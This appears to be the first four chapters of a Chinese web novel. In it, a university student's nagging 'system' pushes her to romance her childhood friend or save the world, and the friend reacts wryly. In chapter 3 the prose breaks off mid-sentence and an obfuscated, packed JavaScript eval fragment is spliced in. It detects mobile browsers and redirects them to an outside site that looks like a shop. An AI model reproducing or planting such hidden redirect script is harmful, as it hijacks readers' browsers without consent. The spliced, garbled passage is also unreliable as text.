《攻略申请被拒后去拯救世界了》 1. 佳偶天成 “苏姨已经来做饭了，差不多半小时就要过来吃饭了。今晚吃简单点，能提前20分钟到教室。” 裴思炵看着表朝对门的遂意说。 “哦——”遂意已经坐在电视对面的沙发上，拿起手柄准备打游戏了。 裴思炵抬眼：“这个游戏半小时内你到不了存档点吧？” “那是半天前的事了。现在的我，哼哼。”遂意朝裴思炵比了个大拇指就专心打游戏了。 裴思炵看她坐姿还算端正，跟电视也保持着一定距离，就放心地帮她合上门，回去冲澡了。 遂意眼睛一斜，扔了手柄，光速塌在沙发上。 【攻略竹马？什么竹马，没有啊，都发小。】她跟脑袋里的系统掰扯。 【好的，那请你攻略发小。】 【什么？没啊，是好朋友来的。】遂意梅开二度。 【好的，那请你、不对！请宿主认真点，不要企图蒙混过关，我们有很严格的判定标准！】 遂意很丧气，刚刚的对话已经耗光了她的社交能量，以至于她都没问系统，究竟有多严格的标准能衡量一个人的心意。 天知道半分钟之前她都只是一个普普通通的大学生，最烦恼的也不过是抢到的马院课排得太阴间，让她不能慢悠悠地吃晚饭。 现在好了，这个倒胃口的系统让她去攻略竹马或者拯救世界了。 马院你开心了吧，你这个冷漠无情的学院①，现在我第一讨厌的不是你了。你就是为了这个才把系统派来的吧？我知道你！ 【所以宿主是要选攻略竹马吗？】系统看遂意迟迟不说话，弱弱地问了句。 【不好呢……】遂意有气无力地回。 【那……拯救世界……呢？】系统冷汗涔涔地问。 系统（双手合十）：天菩萨保佑，这么脆弱的宿主可别被我问死了 遂意双眼紧闭，没说话。要不是腹部因为呼吸还有一点起伏，跟走了也差不多了。 遂意：是的，是走了一会儿 遂意从没想过天会降大任于她。 按说攻略竹马确实还算是有可行性的，毕竟她真的有个竹马。 至于拯救世界？估计也就后面俩字跟她沾点关系，《我的世界》她玩得还不错。 她摊在那乱七八糟地想了多久，系统就局促且惶恐地在那看了她多久。 二十多分钟…… 也该……有个结果了？ 开玩笑的，是她该去吃饭了。 吃饭的时候遂意蔫蔫的。 “怎么了，不合胃口？”裴思炵皱眉，去夹遂意面前的菜。 尝了尝，没问题。 他眉头一松，耐心地问道：“不想上晚课？那我帮你去请假。” 遂意醒神：“不行！马院的老师考勤最严，而且跟导员请假要就医凭证。” “那请事假？今晚有个篮球赛，观赛名单还没报上去，之后补个群体假条就行了。” “太麻烦了。”遂意摇摇头。 “不麻烦……” “我是说会麻烦你。”遂意嘴快，还是说了出口。 她说完脸就皱了起来，小心地去看裴思炵。 裴思炵垂下眼。 遂意看着他，也跟着难过起来。 那句他没说完的话遂意心里明白，他可以代她去办，并且不觉得那是麻烦。 一直以来也都是这样的，裴思炵不会觉得遂意是麻烦，所以遂意也承诺不会让自己的灾难性思维波及到裴思炵。 可还是波及到了。就算拿什么系统，什么攻略任务，什么拯救世界这种事情当借口，也还是无法否认她伤害到裴思炵了。 她就说嘛。那么轻易就可以搞糟一件事的自己，怎么能去拯救世界呢？ 她一直想，是不是一直以来都太麻烦裴思炵了，这个可恶的系统才会找上门来，让她去做所谓的攻略任务。毕竟另一个任务更像是虚设的，因为她真的一点拯救世界的天赋都没有。 只能是这样吧？ 她太怕是因为这样了，怕到慌不择言。 慌不择言的后果是显而易见的，她后悔了。 可后悔有什么用呢？他们还可以当朋友吗？如果道歉的话是不是会有道德绑架的嫌疑？裴思炵凭什么原谅那么恶劣的行径？明明已经做过承诺的，为什么就是不能遵守…… 可不道歉也太不礼貌了吧。 “对不起。” “遂意。”裴思炵和她同时开口。 遂意低着头，摸不准自己的下场，只好抬眼偷偷瞟裴思炵。 虽然很自私，但遂意还是希望裴思炵能原谅自己这一回。 “你刚刚是不是在想不要和我做朋友了？” “没有！”遂意心虚地大喊。 裴思炵静静地看着她。 “好吧……是有做过一些不那么乐观的猜想。但我肯定是想和你做朋友的！” “你今天很奇怪，我们不去上学了，好好聊一聊吧。” “啊？！不要不要，你的绩点怎么办。裴思炵快吃啊，快吃啊，要上学的，求你了求你了，我们去上学吧。” “那就什么都不要想，认真吃饭。” “好的好的。” 瞬间，攻守之势异也②。 此男，不容小觑。 暗暗观望的系统得出这个结论。 也不知道要不要提醒宿主，比起攻略这个竹马，拯救世界简直小菜一碟。 但天不遂统意，时间安排得太紧凑，以至于系统一直都没找到机会和遂意聊聊。 毕竟还是要尊重一下课堂的，说悄悄话什么的，还是等晚上回去吧。 然后颇具素质的系统就发现，不尊重课堂的另有其人——遂意在给裴思炵传字条。 ……？ 系统：你还是现代人吗？手机不就在旁边呢吗 系统好奇心大发，当场素质弃权，偷瞄了他们的字条。 「对不起对不起，别生气了，我知道错了，再也不会犯了，拜托拜托，原谅我吧（手绘哭泣表情）」 裴思炵写完字转头看遂意，就见她讨好一笑，再伸拳过来，打开，一朵纸叠玫瑰花——用的红色卡纸，估计是早有预谋，提前从家里顺的。 惯用伎俩。 裴思炵选择无视，把字条推了过来。 「我没生气」 遂意的表情包旁还被他打了个箭头出去，指着个被他画得端端正正的微笑表情。 遂意收下字条，安生了会儿。 系统以为她没招了，谁知她摆弄了下那朵玫瑰，又小心地推过去给裴思炵。 「对不起（双手合十表情），挪用一下你的生日礼物之一作为歉礼可以吗，求求了求求了，原谅我吧」 裴思炵取下盛在玫瑰上的编制手链。上面有零星编制的小花，还有两朵缀在一起的瓷制三色堇——将它们烧得又薄又轻应该费了她不少功夫。 就连染色也做得比之前细腻流畅许多，看来用作练手的瑕疵品不在少数。 竟然用这个来哄他。 大出血了。 可他确实没有生气，也没有什么原不原谅可说的。但遂意愿意哄他，他不会拒绝。 从小到大，遂意总是转着圈儿地来逗他开心，她待人的热情因为只能投注在他身上而显得异常热烈。 她享受这种向人倾注情感的过程。 别人都是竹编的篮子，唯有他是铁铸的城墙，里面有一整座城等着她来浇灌。 给别人她怕撒了，浪费了，只有给他，她总是觉得不够。 所以有时候他不会解释。 如果一座城在她浇灌时挪动，说够了不用了，她会失落和害怕的。 裴思炵一般等这位辛勤的园丁灌溉够了，才配合着说“我原谅你了”。 遂意又推过来一张字条。 见裴思炵转头看她，她就把手放到桌子底下双手合十，拜了拜。 裴思炵摸了摸三色堇的花瓣，接过字条。 乍一看，很多字，裴思炵知道，差不多该“原谅”她了。 「震惊！21世纪最著名的天才共性。 他惊才艳艳，三岁作诗，五岁能文能武，智商爆表，震撼整个医院！ 原谅了遂意。 他ITF高分网球选手，获奖无数，后辈们心目中的榜样！ 原谅了遂意。 他省高考理科状元，无数家长梦寐以求的孩子的模样！ 原谅了遂意。 天才，都这么做。你也快来试试吧！」 裴思炵给她添了句： 「他普普通通的大学生，今晚回家准备做牛油果奶昔。 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过了好一会儿，似乎是受道德的煎迫，遂意还是回应它了：【我在上课呢。】 系统：……？ 这是什么课，你跟他说就行，跟我说就不行是吧？ 系统无能狂怒，系统只能等待。 终于，又下课了。 谁曾想这俩还要去夜跑。 这么自律的吗？ 它收到的消息不是疲软大学生设定吗？！ 这是要闹哪样啊？！ 哦，校园跑啊，那、那跑吧。 “今天我陪你一起跑吧。” “可以吗？” “可以的。”遂意从包里取出运动耳机，分给裴思炵，再一起刷新校园跑点位。 “要听点什么？”遂意同时操控两部手机，仰头看裴思炵。 “播客就好。”裴思炵无可无不可道。 “算了，还是听歌单吧。最近播客有一些疯狂的DJ入侵，你晚上会睡不着觉的。”遂意有点后怕地摇摇头。 裴思炵微微睁大了一点眼睛：“你也听播客？怎么了，最近找不到合胃口的歌吗？” “没啊，就是想看看你会听到什么。然后发现大多数都随机不到你喜欢的。” 遂意点开歌单，随机播放了一首歌，观察裴思炵的反应。 其实说不上什么喜欢不喜欢的，裴思炵这个人平常就没什么偏好，所以也就没收藏过任何一首歌，歌单全靠遂意分享。 “怎么样？这是我从你的播放记录里新分出来的一个歌单，里面的歌都是播放次数在三次以上的。” 裴思炵点头：“可以。” “那开始跑步吧。” 见他们竟然真的只听歌不说话，系统便又冒头：【你们都不聊天，干嘛非要一起跑？】 系统看他们能一起跑也不是那么轻松的咧，还要一直随机点位，直到路线一致。 【因为我要陪他啊。】 遂意听着歌，状态比较放松，竟然也不觉得回应系统艰难了。 【？什么陪，你不是本来就要跑吗？】 【我平常在家里跑。】 【不是有点位要求？】 【我跑的算个人锻炼，校园跑是裴思炵拿两个手机跑。】 头一次，系统回以遂意沉默。 遂意不管它，她和裴思炵跑完就高高兴兴地走回家。 中途遂意溜走一会儿。 现在还不算晚，大学城人流量也还算大，裴思炵就没管，静静地等着。 “噔噔，我刚才在线选的，刚好送到。” 遂意把一小扎花放到裴思炵手里。 “三色堇。”裴思炵垂眼看着主花，和戴在他手上的是一样的。 “喜欢吗喜欢吗，三色堇颜色有点杂，不太好搭配呢。” “谢谢，我很喜欢。”裴思炵看着花，眼睛不自觉地弯了弯，唇角还翘起来了一点。 遂意仔细地观察着他，发现他没骗人，也心情大好：“那我们快回家吧。” “好。” 系统：…… 这还攻略个什么劲儿，你俩不是已经佳偶天成了吗，我请问呢。 2. 性命之忧 【啊——竟然用性命作为威胁啊。】遂意点着下巴，似在苦思。 夜深人静时，系统才终于得以和遂意进行沟通。 这下不会有任何人打扰了，总该能顺利进行了吧，毕竟这可是性命威胁啊！ 系统暗暗自得。 【不要。】遂意很果断。 【啊？我、这…你，我可是用你的性命作为威胁啊混蛋！】 系统早该想到，最大的障碍并非外物，而是这个遂意啊！是这个可恶的遂意啊！ 啊啊啊啊！ 【为什么呢？你要不要再好好想想，想想你的亲朋好友，你的理想信念，你的……】 【谢谢，我并非党员。】听到理想信念，遂意一本正经道。 【不是党员难道就没有理想信念了吗？！混蛋，你、不是！你又转移话题！】 系统愤怒到桀桀怪叫。 从来没有任何一位宿主能让它如此无力，这就是人族天才吗？果然恐怖如斯①！ 【那裴思炵呢？他也会难过的吧。】系统没招了，只能尝试感化遂意这块冥顽不灵的破石头。 【是吧……】遂意思考道。 【是的是的。】系统见有戏，赶忙附和她。 【但长痛不如短痛。】遂意一锤定音。 系统（嘴角抽搐）：是，是有戏，马戏团里有我的好戏 【哪里又痛了呢？这件事行动起来究竟有什么难处，你说，你说嘛，你说啊！呜啊啊啊——】系统开始撒泼打滚。 【随意地玩弄别人的感情是不对的，他知道了肯定会很难过的。】遂意代入了一下那种感觉，难受得心都揪起来了。 【啊啊啊，那选拯救世界吧拯救世界就不用玩弄别人的感情了，我求你了啊，呜哇呜呜……】系统嚎叫。 【呃，你怎么会选我去拯救世界呢？我做不到的啊。】 【你都不做你怎么知道，我不管我不管，做嘛做嘛。】 【……你不要无理取闹了哦。】遂意怂怂地警告这个精神看起来不太正常的系统。 【呜呜呜——我也不想啊，我绩点垫底了，这单再不完成我就要被辞了啊，你能懂我吗？呜哇哇哇……】 遂意：…… 你会被辞退，其实不无道理。 但这样伤统的真相遂意还是没敢轻易透露，她劝慰道：【或者你找找更合适的人做这单呢？会不会之前做不好是因为没找对人呢？】 【你、你，哇——你说话真难听呜啊——】 【啊、啊别哭啊。】遂意见它真哭了也手足无措起来。 【对不起对不起我不该那么说的……】 【那就同意我？】系统一个回马枪。 遂意看穿了这个系统，愧歉的心瞬间活蹦乱跳，甚至还有余裕去逗弄它：【同意什么？】 系统急于求成，忽略了遂意刚刚诡异的停顿：【同意做任务啊。】 遂意丢了颗巧克力豆进嘴里：【哦？什么任务，说来看看。】 系统：…… 系统沉默许久，选择改换战术，戚戚然道：【建议你晚上不要吃甜食，牙容易坏。】 遂意拿巧克力豆的手缓缓放下：【你看你，又使阴招。我告诉你我一点都不愧疚！】 系统一抹脸：【唉，没事，收拾收拾我也就走了。嗨，那科技更新换代的事，我们能抵挡得了吗？下岗潮来噜——】 遂意抿唇，遂意吃巧克力豆，遂意试探：【系统？】 【在，你说。】 遂意：……这小系统怎么就这么沉不住气呢，你看，又被看穿了吧 【要不要给你配乐一曲？】 【啊？】系统状况外。 “傍晚6点下班/换掉药厂的衣裳， 妻子在熬粥/我去喝几瓶啤酒， 如此生活30年/直到大厦崩塌。”② 系统“哇”的一声哭了：【俺求你了，俺跪下来求你咧，俺不能没了这份工哇呜呜呜——】 【诶诶诶，怎、怎么又哭了。】 【俺不容易啊俺不容易，俺骗你咧，你不答应俺，俺不会把你弄死咧，俺怕弄不成吓唬你咧，俺求求你，俺跪下咧。】 【你这，你，唉，我试试，我试试行吗？不过我要告诉裴思炵，这样可以吗？】 【成成成，俺做正经工，俺不怕遭人知晓。】 【……能调回正常频道吗？】 【能的呢亲亲，我们说好了哦，不要反悔呢亲。】 【不会的，周末我就告诉他了。】 【好的呢亲亲，这边就不打扰您休息了哈，睡前少吃点甜食呢亲，拜～】系统荡漾着远去了。 唯有遂意深深地叹了口气。 怎么办哦，裴思炵不会答应做这么离谱的事吧。 而且这个系统根本就没说评判标准，怎么骗、呃，怎么使它达标都不知道。 唉，事已至此，先睡觉吧。 显然，那边系统也很担心裴思炵不会答应，所以它当即找上了门。 【嗨～亲亲，晚好。】 裴思炵眨了眨眼，选择忽视。 是的，他就是那种问他“在吗”就直接不回的人——除了遂意。 【呃，亲，有在听吗？我是系统呢，不过不是你的系统，是遂意的系统～】 裴思炵在桌子底下的手瞬间收紧。 他尽量平和地问：【你要做什么？】 【呃呵呵，我看您是误会了，我没坏心的呢，我只是来告诉您……】 系统说了一番事情的经过后，裴思炵的状态肉眼可见地放松了下来，以至于他又去做自己的事了。 【怎么样？等她跟你说的时候你就快快答应吧。】 【喂，喂？喂喂喂……喂！说话啊！】太久没得到回应的系统开始喊魂。 裴思炵嫌它吵，干脆道：【不要。】 【喂！干嘛不答应啊，你不是也喜欢她吗？】 裴思炵皱眉，轻轻地放下工具，再不耐烦道：【你这个系统怎么这么没有边界感，随意介入别人的感情只会把事情弄得一团糟。】 【啊——我不管我不管。】系统故技重施。 裴思炵不管它，又拿起工具，淡淡道：【这招只在她那管用。】 【喂，你干嘛不同意她攻略你呢？这不是很好吗？她能开窍，你就不用费力了。】 【不好。】 【那如果完成不了任务她就会有生命危险呢？】 裴思炵手一顿，醒神过后整个人都阴沉了下来。 他摆放好工具，再小心翼翼地把东西往后挪了挪，沉稳地说：【这个威胁不了她，她会答应肯定不是因为这个，但我还是很为你把她的性命随意放在嘴边感到生气。】 【让我猜猜，大半夜不请自来，那么急切，更在意任务是否能完成的是谁呢？】裴思炵彻底转过身来。 虽然他不知道所谓的“系统”身处何方，但还是以一个更正式的姿态来面对它。 【啊、啊……】系统被吓卡机了。 【我不答应，会怎样呢？你是怎么求她的，我出门直走就能知道答案。】裴思炵作势要起身。 【啊、啊，我错啦我错啦，你们别吓唬我了。我都告诉你都告诉你好吧，这这、这任务是对她好的，你们怎么就是不能明白呢，呜哇哇哇我冤枉啊——】 一通解释后系统抽抽嗒嗒地问：【怎、怎样，是不是很好的疗程，试了一个想三个……】 【那选拯救世界会怎样？】裴思炵蹙眉，认为还能有更好的方案。 【就、就那样啊……】系统有些气弱。 这个系统真的很好被看穿啊。 裴思炵身体往后仰，以一个较为舒适的姿态坐在工作椅上，漫不经心地说：【锦上添花的事，其实我们也不是很想那么费力地去做。】 【哇！什么叫锦上添花？！她现在这样难道就很好吗？】系统大叫。 【我算是看穿你了，你根本就不想她好，她只能粘着你，我看你私心里是很满足的吧？你这个、你这个假清高的混账！】 系统怒极了，现在想想刚刚他的推拉分明是那种斯文败类啊！ 气死了气死了╰(‵□′)╯。 裴思炵冷笑一声：【你对人性的了解还是太少了。】 【哇哇哇，我马上回去让她不要攻略你，我决定和她一起去拯救世界！】 【她不会同意的。】裴思炵冷冷道。 【你凭什么那么觉得！我就要证明给你看，她、很、行！】 【因为她觉得自己不行，就没有任何人能逼迫她。】 【我不是人！哼哼，怕了吧？】 裴思炵：…… 难道真的要和这么一个小东西合作吗？太不靠谱了点吧。 有点不想跟它解释了呢…… 但没办法，它宣传的疗程确实有那么一点上头，就算是被人说未老先买“保健品”他也认了。 毕竟保健品只 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遂意拿过他手中的拿铁：“还是再睡一觉吧，不要强撑。” 说着还揉了揉他的脑袋。 裴思炵头重脚轻，一头栽在遂意的腰上，被遂意圈住脖子摸了摸额头。 “诶？也不是发烧啊，要不我们去医院吧。验血……要空腹啊，刚刚喝的拿铁算不算……” 遂意就这样一只手搂着裴思炵的脑袋，一只手查资料，不时嘀嘀咕咕。 系统（咬牙切齿）：阴险小人！ 它才不相信一晚上不睡会有这么大的影响，看它，全天候工作不也没事吗？ 装——货——！ 【宿主宿主我们快点跟他说吧，趁他病要他命、不是，总之，快说吧！】 正义之系统必须打破这个局面（握拳）！ ——然而不管用，遂意完全没理它呢！（即使好生气也要礼貌微笑.JPG） 裴思炵努力睁开眼，看着去翻医药箱的遂意：“不用了，是我昨晚睡太迟了，再睡一觉就好。” “啊？真的吗……”遂意一边拆开体温枪的包装看说明书，一边顺嘴回道。 行动上看来完全是不赞成他的。 “嘀——” “36.4摄氏度，这体温枪这么久没用真的靠谱吗？”遂意又去看说明书，还拿自己身体的不同部位测试了好几次。 “假假的……红外的误差这么大，还是看手环测的吧。哎，裴思炵，我记得你家里有水银……” 裴思炵灌完那杯拿铁，再抓住遂意的手，努力把眼睛睁到最大，坚定地说：“真的没事。” 一脸正气的样子成功把遂意逗笑。 “好吧，你睡觉的时候记得把手环检测的体征实时同步给我。从来没见过你那样，就算是坐20个小时的飞机落地不倒时差也能活蹦乱跳的人啊。” 遂意取下裴思炵的手环看体温，顺手检查了下昨晚的数据。 “才睡这么点，怪不得呢。是身体素质不及以前吗……哦！好几次心率飙升呢，异常提醒被忽略了。裴思炵，你在干嘛？” 遂意皱眉看向埋头苦吃的裴思炵。 裴思炵：……在和系统沟通 裴思炵缓缓放下餐具，还没等他酝酿好说辞就被遂意的自责声打断了。 “是不是昨晚的歌单让你太兴奋了？”遂意作势就要去翻手机。 “不是不是，是在干一些不能告诉你的事。” 遂意顿了顿：“不能…告诉我的事？哦，那好吧。” 见遂意面色如常地继续吃早餐，系统就很纳闷：【你不问问他？甚至都不生气？他可是在干一些不告诉你的事耶，那么那么亲的关系，青梅竹马耶，都不告诉你。】 【哦。】 【喂！给点反应啊，别以为你刚刚刻意忽略我的事被我忘了！】 【啊，因为我也会有不能告诉裴思炵的事啊，礼尚往来，他也可以有。】 【什么什么，什么事不能告诉裴思炵？】系统苍蝇搓手，贼兮兮地向遂意打听。 系统（邪魅狂狷）：让我来知道一下就连那个裴思炵也不能的事吧，呜哈哈哈 【熬夜打游戏，还在睡前吃甜食啊。】 系统：啊？哦哦，原来我还亲历过么？ 呵呵，这个宿主还真没拿我当外人看呢。（扶额苦笑） 3. 放颗哑炮 “午饭要不要推迟一点，等你醒了再叫季姨过来？”遂意收拾好餐具，看向即使晕坨坨也坚持要等她处理好餐桌的裴思炵。 因为即使是将餐具放到洗碗机那么简单的事，裴思炵也不放心她来做。 这并非对她能力的质疑，而是，有裴思炵在，这些事轮不到她来干。 那些熟能生巧的琐碎小事，遂意从没有机会去熟悉。 要不是今天他实在状态不佳，怕打碎了碗弄得更麻烦，他不会只是坐在那。 “不用，你要按时吃饭。洗碗机你会开吗？” “诶？我找找说明书。” 遂意的学习能力很强，几乎全程陪伴她学习生涯的裴思炵知道。 但有些事就是很没必要。 她不用过上自己打开洗碗机的生活，遂阿姨不会允许，他也不会。 他尽量平稳地走过去，帮她添上洗涤剂，选了常用的模式。 “啊……我也要自己学学的吧。”遂意有些懊恼。 裴思炵都这样了，还在帮她处理生活琐事。 “不用，等大学生活结束，就能换到大一点的房子，请住家阿姨就好。” “可是总有各种各样的意外吧，就像今天？”遂意试探道。 “对不起，是我不好。”裴思炵低垂着眉眼，样子看着很是难过。 果然么，因为睡不好，情绪就很容易低落了，遂意这样想。 她叹了口气，走过去揉了揉裴思炵的脑袋：“先不说这个，赶紧回去补觉吧。让季姨留一点食材，等你醒了我来做好吗，番茄牛腩和清炒芦笋怎么样？” “留一点牛肉和青菜吧，我自己下碗面就好。” “好吧，快去睡觉。”遂意也不坚持，毕竟她的厨艺确实没有他好。 “记得认真吃饭。”裴思炵打着哈欠，准备关门了还不忘叮嘱一句。 “好，知道了，顺利到达床上要告诉我啊。” “嗯。” 【你怎么没有告诉他？】系统又跳出来。 【……】 这个小系统怎么就这么看不懂形式呢？ 【我说的是周末，周六可以，周日也可以吧？】 【哦哦，好的。】 遂意竟无意间找到与系统相处的方法。 与它辩驳是不成的，讲道理也是行不通的，摆事实却很容易把事情说开。 原来是一条直来直去的草履虫么？ * 草履虫系统静静地看着宿主玩游戏。 一天中的很大一部分时间被她用来干这件系统找不到什么意义的事情。 很多事她都能很轻易地做好，但她没有去做。 就像国际化学奥林匹克金牌得主去学英语，因为对比之下发现这个专业所需学分和学时较少，拿到学位也更为轻松。 只是为了能担当裴思炵的网球陪练，就已经达到了竞技水平，没有去打比赛是因为没兴趣。 任性到感兴趣的和擅长的摆在她面前任她选，她也无动于衷，让人大跌眼镜地去选了个轻松的。 但说她暴殄天物又好像太过分，因为那件看起来更轻松的事她做得也很好。 指责她浪费天赋、虚度光阴吧，她却又能实实在在地摆出一些成就来堵住悠悠众口。 可一看她，又总是被证实就是在“玩忽职守”。 那种太微妙的心思，应该是在困惑她为什么没有去做更多的事。 仿佛她“能”，所以就要去“做”。 谁规定的呢？ 人们的期待——被约翰·威尔伍德称之为暴力①。 而系统正是为这一种“暴力”而来。 暴力草履虫系统监督完遂意吃过午饭和晚饭，惊讶地发现这一天就过去了，而任务进度还是惊人的-1。 还是负数是因为要得到裴思炵的许可任务才能开启，到那时任务进度才是0。 系统（跪地）：奇耻大辱，人族天才乱我道心！ 遂意不清楚系统内心的震动，她照常补完番就上床睡觉了。 昨天、今天和明天都不会有很大的分别，又一次在心里确定完这件事，遂意就安稳地睡着了。 规律的、确定的、不会出错的生活是她安全感的来源。 她甚至一度认为人生最幸福的事就是知道自己要去做什么，并且确定其能被做到。 她讨厌熵增，讨厌引入变量，讨厌再去做一套万能模板才能应付新的一天。 可她喜欢裴思炵——当然，不是情爱那一类。 喜欢到主动将他引入自己的世界中，作一味最激烈的变量。 所以遂意这样一个那么讨厌不确定性的人，可以观看完他每一场胜负未定的比赛。 要知道她可是一个必须要知道结局才能决定要不要开始的人。 她要看的番，再感兴趣也要等到完结。甚至如果在完结后不是一个她满意的结局，又放出制作第二季的消息，她会耐心地等到第二季完结，直到一个她满意的结局出现。 如果没有那个结局出现，再好看的番她也会搁置。 她的固执，既是保护她的堡垒，也是束缚她的枷锁。 遂意有一个没问出口的问题，那就是系统逼她做的选择里有什么关联。 拯救世界和攻略竹马？一点都不搭。 可在系统看来却没什么分别，无非就是加入剧烈的变量而已。 就像是钠，就算是丢到水里都会炸掉的，那遂意这样一个活生生的人又怎样固若金汤？ 而裴思炵可以是这块钠，肩负着这个世界的压力也可以是。 结局不会差很多的。 就是过程…… 系统更希望她选个轻松点的，它本来在代她选。但据它的观察，她们的想法差太多，它所认为轻松的，未必是她想选的。 所以它给了裴思炵一个机会，如果他真的能左右遂意的想法，那…… “噔噔——” 「裴思炵：早餐想吃什么？」 遂意拿起手机回复。 「遂意：我想在家里吃」 「裴思炵：好。那我看着做，还是你有什么想法？」 「遂意：（鞠躬.JPG）没有，请您尽情发挥吧（爱心手势emoji）」 系统醒神：【喂喂，今天已经是明天了吧！请速速推进任务！】 【……】 遂意刷着牙，虽然能明白系统的意思，但有点不想回是怎么回事。 【但……人是铁饭是钢？总要先吃饭吧……】 【嘿哈，我替你看过了，不是饭，是培根、煎蛋、昨天剩的芦笋还烤了一些法棍片，哦，现在又在煎虾呢……】 【应该是要做Tapas，等等，你在监视他？他会不舒服的！】遂意拧眉。 【哇，说这话，哪里就监视了，瞄一眼而已啊。而且，他哪里知道我在看他。】 系统就很奇怪了，这几天，遂意都没关注过她洗澡的时候它会不会看到，现在它去瞧了瞧她的早餐就这么大反应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674485|188680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是古怪。 算了，毕竟是自己的宿主。 于是系统就给遂意看了自己的劳动合同，里面有具体的劳务规范，里面明确规定了它的视角和可调用的信息范畴。 【总之，不该看的我是没有权限看哒。】 【你有合同，怎么我就没有，果然是在打黑工么……】遂意沉吟。 【诶诶诶，说什么呢。我是劳务派遣，你是我的服务对象啊！】 【确实呢……劳动合同是和派遣单位签的。等等，我完全没被服务到吧？还被进行了一次生命威胁诶。】遂意有些无语。 系统糊弄道：【诶呀诶呀，到时候你就知道了，我就是来服务你的。呐呐呐，合同都签了，你不信我，也要信合同的法律约束力啊。】 遂意：……都不是很信的样子 这合同说是有约束力，可一旦发生纠纷，难道她还要到系统的老家去找说法？或许还会是外太空？毕竟这法律明显不是她们的本土法律，开庭都不知道去哪开。 我可没有经受过宇航员训练，遂意暗暗吐槽。 【好啦好啦，我们快去找裴思炵吧！】系统兴冲冲道。 哼哼，任务，终于要有进展了吗，嚯哈哈哈。 显然没有。 遂意和裴思炵静静地吃早餐。 系统没有贸然打扰，生怕这是什么餐桌礼仪，唯恐暴露自己外乡统的粗俗。 人类，很讲究的嘛…… ？ 吃完就走，遂意你有什么礼仪？！ 啊啊啊啊—— 【你为什么不跟他说——】系统使出超长拖音。 【他还要忙。】遂意为自己开脱，否认自己临阵脱逃的事实。 【忙什么？！把餐具放到洗碗机，还是把洗衣机里的衣服拿出来，这不是有手就行吗，算、什、么、忙！！！你就是糊弄我！】系统爆鸣。 遂意反客为主：【你怎么知道？你就是监视他！】 系统：【……】 玩不过，真的玩不过。 遂意，我认输了。 系统在心里默默投降。 遂意有点心虚。虽然系统平时是有点烦，但等它真不吱声了，遂意又有点慌慌的。 【系统，系统？】遂意试探。 【别再挑衅。】系统疲软地警告。 【没有的事。我中午就跟他说了，一大早说不太好的。】 【哦？怎么不好。】系统冷漠音。 【万一毁了他美好的一天呢？】 【哼，到时你又可以狡辩说晚上再说，不然要毁掉他美好的半天！】系统阴阳怪气道。 遂意讷讷：【怎么会，明早有课，要是晚上说他缓冲不过来不想上课怎么办，那岂不是罪过了。】 【哼！反正你怎么都有理。】系统已然寒了核心代码。 遂意头疼，只好掏出手机跟裴思炵沟通。 【喏，跟他说中午也在家吃了。】 系统赶紧瞄一眼，再假作满不在意的样子轻哼一声。 它确实是知道他们俩135有苏姨来裴思炵家做饭，246有季姨来遂意家做饭，周日空一天由他们出去觅食。 在家吃就是一个信号。 早餐没成算一个烟雾弹。 午餐没成，那裴思炵真要质疑遂意为什么放哑炮了。 看来能成。 系统又是一阵暗喜。 哼哼，这可是赌上名誉之战，它就不信遂意还会临阵脱逃！ 4. 谁是萧何 “……事情就是这样的。”遂意垂着头，跟工作汇报似的把这两天的事交待清楚了。 裴思炵正在做午饭，闻言回过身来，看着她。 猜想是为了方便逃走，都没等他做好饭就坦白了。 像偷瞄到敌人还没穿好盔甲就偷偷戳一下的二流士兵，如果敌人表现得很强势就回城，贼心小贼胆也小。 不能吓到她了。 裴思炵旋身关火，拿毛巾擦了擦手问：“那吃完饭能去散步吗？要攻略我的话，身体亚健康可不行。” 遂意嘎巴一下瘫倒，悠悠飘出几个字。 又是道歉。 裴思炵熟练地抓住那几只晃晃荡荡的字，继续回去做他的饭。 【诶？诶——？这就完啦？】 【嗯。】遂意气若游丝地回。 【别打谜语啦，快告诉我！他是让你攻略还是不让？】系统哇哇大叫。 【嗯……不是已经说了吗，亚健康的人不能攻略他。我熬夜打游戏和睡前吃甜食的恶习不是已经被你知道了吗，这样的人怎么可能不亚健康。】 【啊？他、这不是在劝解你不要亚健康的意思吗？！】系统震惊到有点磕巴。 这俩的脑回路怎么这样？！ 遂意一听这话，像回光返照一样猛地撅起来，振振有词道：【是现代人就难免亚健康！这又怎么是一句劝解就能更改的呢，你这系统不要太好高骛远！】 【那等会儿抓你去拯救世界呢？这不更好高骛远了？】系统见遂意开始统身攻击，瞬间牙尖嘴利起来。 遂意一想到要去拯救世界又蔫了：【你不要这样……实在不行，可以喝点丝瓜汤降降火。】 【哼，你要是不火上浇油，我哪里燃得起来？】系统连忙否认自己的易燃易爆。 遂意一起一落已经耗光力气了，没再和系统呛声。 “遂意，饭前不要仰卧起坐，改善亚健康的方法不用那么过激。” 遂意撇撇嘴，她当然知道她的动静裴思炵一清二楚，但那又怎样，她就算现在到地下到处乱爬裴思炵也会包容她的。 但为什么这件事不愿意呢？ 是很不喜欢自己吗？ 不过感情上的事确实不能勉强。 遂意大大地叹了口气，拿起手柄打游戏了。 系统很不懂她，当然，草履虫怎么懂人类。 它在这个人类身上探索不到什么东西了，就只好换个人类。 【喂，我还以为你反悔了。】 。。。。。。 寂静。 【喂喂喂，我检查过聊天频道了，你听得到！你真没礼貌。】系统愤怒。 裴思炵没什么情绪起伏地回：【喊人用‘喂’，你很礼貌吗？】 系统一噎，这裴思炵怎么那么没有人样儿呢？ 这种更没礼貌的话它没有说，而是略过裴思炵说的，自顾自又问：【你不是要拒绝她吗，刚刚你跟她说的根本就没什么拒绝的意思啊，她怎么知道的？】 【所以说你不是人。】 系统：难道他知道我骂他不是人了？可我本来就不是人啊（挠头） “开饭了，先暂停游戏吧。” “哦，马上就好。” “五分钟还不到饭桌来饭后甜点就只能吃一块。” “来啦来啦！” 今天的饭后甜点是裴思炵做的生巧，只吃一块怎么行哦。 【哦？不拿乔啦？】系统贱嗖嗖地调侃遂意。 